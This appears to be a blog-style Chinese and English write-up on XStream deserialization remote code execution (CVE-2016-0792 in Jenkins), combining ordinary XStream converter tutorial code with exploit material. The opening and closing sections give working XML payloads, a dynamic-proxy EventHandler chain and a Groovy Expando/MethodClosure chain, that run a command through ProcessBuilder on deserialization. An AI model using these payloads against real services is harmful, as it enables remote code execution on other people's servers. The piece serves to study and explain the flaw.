RCE via XStream object deserialization && SECURITY-247 / CVE-2016-0792 XML reconstruction Object Code Inject

时间:2022-08-10 02:43:13

catalogue

. Java xStream
. DynamicProxyConverter
. java.beans.EventHandler
. RCE via XStream object deserialization
. Standard way to serialize and deserialize Objects with XStream
. SECURITY- / CVE--
. What to do about it

0. 利用方式跟踪

目前为止,已知有两个触发方式

xstream底层锅,上层触发方式有两种
. sort-map: proxy代理拦截执行
String payload =
"<sorted-set>" +
"<string>littlehann</string>" +
"<dynamic-proxy>" +
"<interface>java.lang.Comparable</interface>" +
"<handler class=\"java.beans.EventHandler\">" +
" <target class=\"java.lang.ProcessBuilder\">" +
" <command>" +
" <string>notepad.exe</string>" +
" </command>" +
" </target>" +
" <action>start</action>" +
"</handler>" +
"</dynamic-proxy>" +
"</sorted-set>" . grovy闭包执行重载hashCode
String payload =
"<map>" +
" <entry>" +
" <groovy.util.Expando>" +
" <expandoProperties>" +
" <entry>" +
" <string>hashCode</string>" +
" <org.codehaus.groovy.runtime.MethodClosure>" +
" <delegate class=\"groovy.util.Expando\" reference=\"../../../..\"/>" +
" <owner class=\"java.lang.ProcessBuilder\">" +
" <command>" +
" <string>notepad.exe</string>" +
" </command>" +
" <redirectErrorStream>false</redirectErrorStream>" +
" </owner>" +
" <resolveStrategy>0</resolveStrategy>" +
" <directive>0</directive>" +
" <parameterTypes/>" +
" <maximumNumberOfParameters>0</maximumNumberOfParameters>" +
" <method>start</method>" +
" </org.codehaus.groovy.runtime.MethodClosure>" +
" </entry>" +
" </expandoProperties>" +
" </groovy.util.Expando>" +
" <int>1</int>" +
" </entry>" +
"</map>"

Relevant Link:

http://www.freebuf.com/vuls/97659.html
https://github.com/CaledoniaProject/jenkins-cli-exploit

1. Java xStream

xStream可以轻易的将Java对象和xml文档相互转换,而且可以修改某个特定的属性和节点名称,而且也支持json的转换。xStream不仅对XML的转换非常友好,而且提供annotation注解,可以在JavaBean中完成对xml节点、属性的描述。以及对JSON也支持,只需要提供相关的JSONDriver就可以完成转换

0x1: 安装测试

package com.littlehann; /**
* Created by zhenghan.zh on 2016/2/26.
*/
import com.littlehann.Person;
import com.littlehann.PhoneNumber;
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.HierarchicalStreamWriter;
import com.thoughtworks.xstream.io.json.JettisonMappedXmlDriver;
import com.thoughtworks.xstream.io.json.JsonHierarchicalStreamDriver;
import com.thoughtworks.xstream.io.json.JsonWriter; public class XStreamTest {
public static void main(String args[]) {
//Initializing XStream
XStream xstream = new XStream();
xstream.alias("person", Person.class);
xstream.alias("phonenumber", PhoneNumber.class); //Serializing an object to XML
Person joe = new Person("Joe", "Walnes", new PhoneNumber(, "1234-456"), new PhoneNumber(, "9999-999"));
//convert it to XML
String xml = xstream.toXML(joe);
System.out.println(xml); //Deserializing an object back from XML
//Person newJoe = (Person)xstream.fromXML(xml);
//System.out.println(newJoe.getFirstname());
//System.out.println(newJoe.getLastname());
}
}

aaarticlea/png;base64,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" alt="" />

0x2: Simple Converter

The core of XStream consists of a registry of Converters. The responsibility of a Converter is to provide a strategy for converting particular types of objects found in the object graph, to and from XML.
XStream is provided with Converters for common types such as primitives, String, File, Collections, arrays, and Dates.

1. Setting up a simple example

package com.littlehann;

/**
* Created by zhenghan.zh on 2016/2/26.
*/
public class Person {
private String name; public String getName() {
return name;
} public void setName(String name) {
this.name = name;
}
}

create a person and convert it to XML

package com.littlehann;

/**
* Created by zhenghan.zh on 2016/2/26.
*/
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.xml.DomDriver; public class PersonTest {
public static void main(String[] args) {
Person person = new Person();
person.setName("Guilherme"); XStream xStream = new XStream(new DomDriver());
System.out.println(xStream.toXML(person));
} }

2. Creating a PersonConverter

package com.littlehann;

import com.thoughtworks.xstream.converters.Converter;
import com.thoughtworks.xstream.converters.MarshallingContext;
import com.thoughtworks.xstream.converters.UnmarshallingContext;
import com.thoughtworks.xstream.io.HierarchicalStreamReader;
import com.thoughtworks.xstream.io.HierarchicalStreamWriter; /**
* Created by zhenghan.zh on 2016/2/26.
*/
public class ConverterTest implements Converter {
public boolean canConvert(Class clazz) {
return clazz.equals(Person.class);
} //The marshal method is responsible for translating an object to XML.
public void marshal(Object value, HierarchicalStreamWriter writer,
MarshallingContext context) {
//start casting the object to person
Person person = (Person) value;
// start creating a node called fullname and adding the person's name to it
writer.startNode("fullname");
//conversion usually takes place when calling the setValue method.
writer.setValue(person.getName());
writer.endNode();
} public Object unmarshal(HierarchicalStreamReader reader,
UnmarshallingContext context) {
Person person = new Person();
reader.moveDown();
person.setName(reader.getValue());
reader.moveUp();
return person;
}
}

register our converter and see how our application main method looks like:

package com.littlehann;

/**
* Created by zhenghan.zh on 2016/2/26.
*/
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.xml.DomDriver; public class PersonTest {
public static void main(String[] args) {
Person person = new Person();
person.setName("Guilherme"); XStream xStream = new XStream(new DomDriver());
//simple call to registerConverter:
xStream.registerConverter(new ConverterTest());
xStream.alias("person", Person.class);
System.out.println(xStream.toXML(person));
} }

3. Date Converter

create a simple calendar converter which uses the locale to convert the information.
Our converter will receive the Locale in its constructor and we will keep a reference to it in a member variable

package com.littlehann;

/**
* Created by zhenghan.zh on 2016/2/26.
*/
import java.util.Calendar;
import java.util.GregorianCalendar;
import java.util.Locale; import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.xml.DomDriver; public class DateTest { public static void main(String[] args) { // grabs the current date from the virtual machine
Calendar calendar = new GregorianCalendar(); // creates the xstream
XStream xStream = new XStream(new DomDriver()); // brazilian portuguese locale
xStream.registerConverter(new DateConverter(new Locale("pt", "br"))); // prints the result
System.out.println(xStream.toXML(calendar)); } }

DateConverter.java

package com.littlehann;

/**
* Created by zhenghan.zh on 2016/2/26.
*/
import java.util.Locale; import com.thoughtworks.xstream.converters.Converter;
import com.thoughtworks.xstream.converters.MarshallingContext;
import com.thoughtworks.xstream.converters.UnmarshallingContext;
import com.thoughtworks.xstream.io.HierarchicalStreamReader;
import com.thoughtworks.xstream.io.HierarchicalStreamWriter;
import com.thoughtworks.xstream.converters.ConversionException;
import java.util.Calendar;
import java.util.Date;
import java.util.GregorianCalendar; import java.text.DateFormat;
import java.text.ParseException; public class DateConverter implements Converter { private Locale locale; public DateConverter(Locale locale) {
super();
this.locale = locale;
} public boolean canConvert(Class clazz) {
return Calendar.class.isAssignableFrom(clazz);
} public void marshal(Object value, HierarchicalStreamWriter writer,
MarshallingContext context) {
Calendar calendar = (Calendar) value; // grabs the date
Date date = calendar.getTime(); // grabs the formatter
DateFormat formatter = DateFormat.getDateInstance(DateFormat.FULL,
this.locale); // formats and sets the value
writer.setValue(formatter.format(date));
} public Object unmarshal(HierarchicalStreamReader reader,
UnmarshallingContext context) {
// creates the calendar
GregorianCalendar calendar = new GregorianCalendar(); // grabs the converter
DateFormat formatter = DateFormat.getDateInstance(DateFormat.FULL,
this.locale); // parses the string and sets the time
try {
calendar.setTime(formatter.parse(reader.getValue()));
} catch (ParseException e) {
throw new ConversionException(e.getMessage(), e);
} // returns the new object
return calendar;
} }

XStream在掉用fromXML解析XML流的时候,会递归地逐层进行解析,并根据节点名称将对应的节点实例化为对应的变量

XStream原生就支持多种Converter转换接口,但是如果我们希望实现自定义的数据类型以及自定义的转换逻辑,我们需要自己实现类以及对应的Converter接口

Relevant Link:

http://x-stream.github.io/download.html
http://x-stream.github.io/tutorial.html
http://www.cnblogs.com/hoojo/archive/2011/04/22/2025197.html
http://x-stream.github.io/converter-tutorial.html
http://x-stream.github.io/converters.html

2. DynamicProxyConverter
com.thoughtworks.xstream.converters.extended.DynamicProxyConverter

Converts a dynamic proxy to XML, storing the implemented interfaces and handler.

DynamicProxyConverter是一个比较特殊的转换类,它本身不进行XML反序列化,它只是一个实现接口,而实际的反序列化工作由InvocationHandler指定的对象完成

Relevant Link:

https://x-stream.github.io/javadoc/com/thoughtworks/xstream/converters/extended/DynamicProxyConverter.html
https://searchcode.com/codesearch/view/11375053

3. java.beans.EventHandler

The EventHandler class provides support for dynamically generating event listeners whose methods execute a simple statement involving an incoming event object and a target object.
The EventHandler class is intended to be used by interactive tools, such as application builders, that allow developers to make connections between beans. Typically connections are made from a user interface bean (the event source) to an application logic bean (the target).

0x1: Examples of Using EventHandler

EventHandler.create(ActionListener.class, target, "doActionEvent", "")

Relevant Link:

http://www.programcreek.com/java-api-examples/index.php?api=java.beans.EventHandler
https://docs.oracle.com/javase/7/docs/api/java/beans/EventHandler.html

4. RCE via XStream object deserialization

Xstream is not just a simple marshalling library as JAXB but a much more powerful serializing library capable of serializing to an XML representation really complex types and not just POJOs

DynamicProxyConverter: Any dynamic proxy generated by java.lang.reflect.Proxy
<dynamic-proxy>
<interface>com.foo.Blah</interface>
<interface>com.foo.Woo</interface>
<handler class="com.foo.MyHandler">
<something>blah</something>
</handler>
</dynamic-proxy>
The dynamic proxy itself is not serialized, however the interfaces it implements and the actual InvocationHandler instance are serialized. This allows the proxy to be reconstructed after deserialization.

This allow us to send an XML representation of a dynimic proxy where the InvocationHandler will be XStream serialized. The XML representation will look something like:

<dynamic-proxy>
<interface>com.foo.Blah</interface>
<interface>com.foo.Woo</interface>
<handler class="com.foo.MyHandler">
<something>blah</something>
</handler>
</dynamic-proxy>

dynamic proxy is a way to intercept any call to an interface declared method so that when the method is invoked on the proxified interface we can hook the method call and inject any custom code

RCE via XStream object deserialization && SECURITY-247 / CVE-2016-0792 XML reconstruction Object Code Inject

Jenkins has several API endpoints that allow low-privilege users to POST XML files that then get deserialized by Jenkins. Maliciously crafted XML files sent to these API endpoints could result in arbitrary code execution.
XStream是一个著名的反序列化的库,用途广泛,XStream可以用在JIRA, Confluence, Bamboo,甚至是Spring和Struts中

0x1: POC

1. Find out what Class the XML will be deserialized to (in this case com.company.model.Contact)

String payload =
"<sorted-set>" +
"<string>littlehann</string>" +
//2. Create a proxy for that class
"<dynamic-proxy>" +
"<interface>java.lang.Comparable</interface>" +
//3. EventHandler\: Intercept/hook any call to any method in the interface
"<handler class=\"java.beans.EventHandler\">" +
//4. Replace the original call with the malicious payload
" <target class=\"java.lang.ProcessBuilder\">" +
" <command>" +
" <string>notepad.exe</string>" +
" </command>" +
" </target>" +
" <action>start</action>" +
"</handler>" +
"</dynamic-proxy>" +
"</sorted-set>" //5. Send the serialized version of the proxy
Contact expl = (Contact) xstream.fromXML(payload);

总结流程

. serialize an object that contains other objects and that in order to instantiate this object
//传入一个可以被XStream解析的序列化字符串 . a call to an interface method has to be made. This is where we will be able to inject our malicious code using an InvocationHandler.
//使用dynamic proxy converter,这使得我们可以通过InvocationHandler拦截原本XStream在解析过程中的函数调用 . serializing a java.util.TreeSet containg different objects implementing the java.lang.Comparable interface
//为了兼容Sort-set,需要实现ava.lang.Comparable接口 . when the Set is instantiated when fromXML, the Comparable interface methods are called to sort the Set
. All we have to do now is to add a dynamic proxy intercepting any method call to the Comparable interface and replacing it with our payload
Set<Comparable> set = new TreeSet<Comparable>();
set.add("foo");
set.add(EventHandler.create(Comparable.class, new ProcessBuilder("notepad.exe","testfile"), "start")); . 通过java.beans.EventHandler拦截sort函数调用事件
. java.beans.EventHandler的target被指定为java.lang.ProcessBuilder,XStream解析过程中当触发sort的时候实际上调用了java.lang.ProcessBuilder.start

